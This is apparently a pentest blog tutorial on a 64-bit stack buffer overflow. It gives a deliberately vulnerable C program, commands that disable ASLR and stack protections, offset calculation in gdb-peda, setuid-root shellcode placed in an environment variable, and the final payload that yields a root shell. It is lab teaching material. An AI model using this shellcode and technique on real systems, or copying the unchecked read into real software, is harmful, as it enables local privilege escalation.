{{tag>english linux kali it-security pentest blog}}

====== Buffer overflow in the 64-bit stack - part 1 ======

In this tutorial, we will create a buffer overflow on the 64-bit stack to gain root privileges.((https://www.ired.team/offensive-security/code-injection-process-injection/binary-exploitation/64-bit-stack-based-buffer-overflow))

Technical details on buffer overflows, stack etc. can be found here((https://medium.com/@buff3r/basic-buffer-overflow-on-64-bit-architecture-3fb74bab3558))
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===== Dependencies =====

{{page>en:vorlagen:64_bit_stack_nav}}

{{page>en:vorlagen:attention}}

What is needed?

  * Kali Linux (or other distri)
  * GDB Debugger
  * gdb-peda
  * gcc compiler
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==== gdb-peda Exploit Tools ====

gdb-peda extends the debugger GDB with helpful commands to exploit.((https://github.com/longld/peda/blob/master/README))

<code bash>
git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit
</code>
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==== Deactivate ASLR ====

ASLR must be deactivated so that memory areas are not randomised.

<code bash>
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
</code>
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==== Programme ====

{{:it-security:blog:bof-64-1.jpg|}}

<code c>
// code from https://blog.techorganic.com/2015/04/10/64-bit-linux-stack-smashing-tutorial-part-1/

#include <stdio.h>
#include <unistd.h>

int vuln() {
    char buf[80];
    int r;
    r = read(0, buf, 400);
    printf("\nRead %d bytes. buf is %s\n", r, buf);
    puts("No shell for you :(");
    return 0;
}

int main(int argc, char *argv[]) {
    printf("Try to exec /bin/sh");
    vuln();
    return 0;
}
</code>
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=== Compile ===

<code bash>
gcc -fno-stack-protector -z execstack bof.c -o bof
</code>
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===== RIP Register =====

<mermaid>
classDiagram
    note for Buffer "Overwrite Buffer"
    note for RBP "Overwrite RBP"
    note for RIP "place return address"
    Buffer --> RBP
    RBP --> RIP
    RIP --> 0x00007FFFFFFFC19F
    Buffer: AAAAAAAAAAAA
    RBP: BBBBBBBBBBBBBB
    RIP: 0x00007FFFFFFFFFC19F
    class 0x00007FFFFFFFC19F{
      Shellcode()
      root shell
    }
</mermaid>

Of interest to us is the register ''RIP''. This contains a return address that points to another area in the code. We overwrite this return address with the buffer overflow. But first we have to find out how we can do this.

We start our programme in the debugger and generate a 200-character string:

<code bash>
gdb -q vulnerable
pattern_create 200 in.bin
r < in.bin
</code>

[{{it-security:bof-dism-2.png?400|Offset Fuzzing}}]
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==== Calculate bytes ====

How many bytes must be transferred before RIP is overwritten?

<code bash>
pattern_offset A7AAMAAiA
Found at Offset 104
</code>
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104 bytes must be transferred until the buffer overflows. We generate 104 characters and a canonical return address. To do this, we must use our pseudo address ''0x414141414141'' into canonical address format by appending 2 high bytes:

<code asm>0x0000414141414141</code>
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We convert this into shellcode:

<code asm>\x41\x41\x41\x41\x41\x41\x00\x00</code>
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> In a 64-bit architecture, the entire 2⁶⁴ bytes are not utilised for address space. In a typical 48 bit implementation, canonical address refers to one in the range 0x0000000000000000 to 0x00007FFFFFFFFFFFFF and 0xFFFF800000000000 to 0xFFFFFFFFFFFFFFFFFF. Any address outside this range is non-canonical.((https://en.wikipedia.org/wiki/Endianness))
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==== Debugging ====

So let's debug again, with the parameters we have found out

<code python>
python2 -c "print('A'*104 + '\x41\x41\x41\x41\x41\x41\x00\x00')" > in.bin
gdb -q bof
r < in.bin
</code>
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[{{it-security:bof-dism-3.png?400|we have overwritten RIP with our pseudo address}}]
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===== Exploit =====

In the last step, we create a corresponding exploit to generate the root shell.
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==== Place shellcode ====

The Shellcode((http://shell-storm.org/shellcode/files/shellcode-77.html)) is stored in an environment variable

<code bash>
export PWN=`python2 -c 'print( "\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05")'`
</code>
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==== Find variable in stack ====
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=== GetEnvVar ===

<code c>
// code by Jon Erickson, page 147 and 148 of Hacking: The Art of Exploitation, 2nd Edition

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {
	char *ptr;

	if(argc < 3) {
		printf("Usage: %s <environment variable> <target program name>\n", argv[0]);
		exit(0);
	}
	ptr = getenv(argv[1]); /* get env var location */
	ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */
	printf("%s will be at %p\n", argv[1], ptr);
}
</code>
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=== Compile ===

<code bash>
gcc getenvar.c -o getenvar
</code>
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=== Execute ===

<code bash>
./getenvar PWN ./bof
</code>

[{{it-security:bof-dism-4.png?400|The offset of the environment variable in the stack}}]

The address of the environment variable is ''0x7fffffffffef9e''This corresponds to the canonical address ''0x00007fffffffffef9e'''. Our shellcode would now correspond:

<code asm>\x9e\xef\xff\xff\xff\x7f\x00\x00</code>
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==== Attack ====

First we set root rights to the vulnerable file and start it((https://blog.techorganic.com/2015/04/10/64-bit-linux-stack-smashing-tutorial-part-1/))

<code bash>
sudo chown root bof
sudo chmod 4755 bof
./bof
</code>

Now we can execute the buffer overflow:

<code bash>
(python2 -c "print('A'*104+'\x9e\xef\xff\xff\xff\x7f\x00\x00')"; cat) | ./bof
</code>

[{{it-security:bof-dism-5.png?600|root Shell!}}]
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^ Project files | {{ it-security:nosoc-repo-bof64.zip |}}<label type="info" icon="glyphicon glyphicon-compressed">ZIP</label> |
^ Size | 5.76 KB |
^ Prüfsumme (SHA256) | 191e6f1811018970776e3bf035ff460033a47da62335fe5c9475a460b02a10d3 |

~~DISCUSSION~~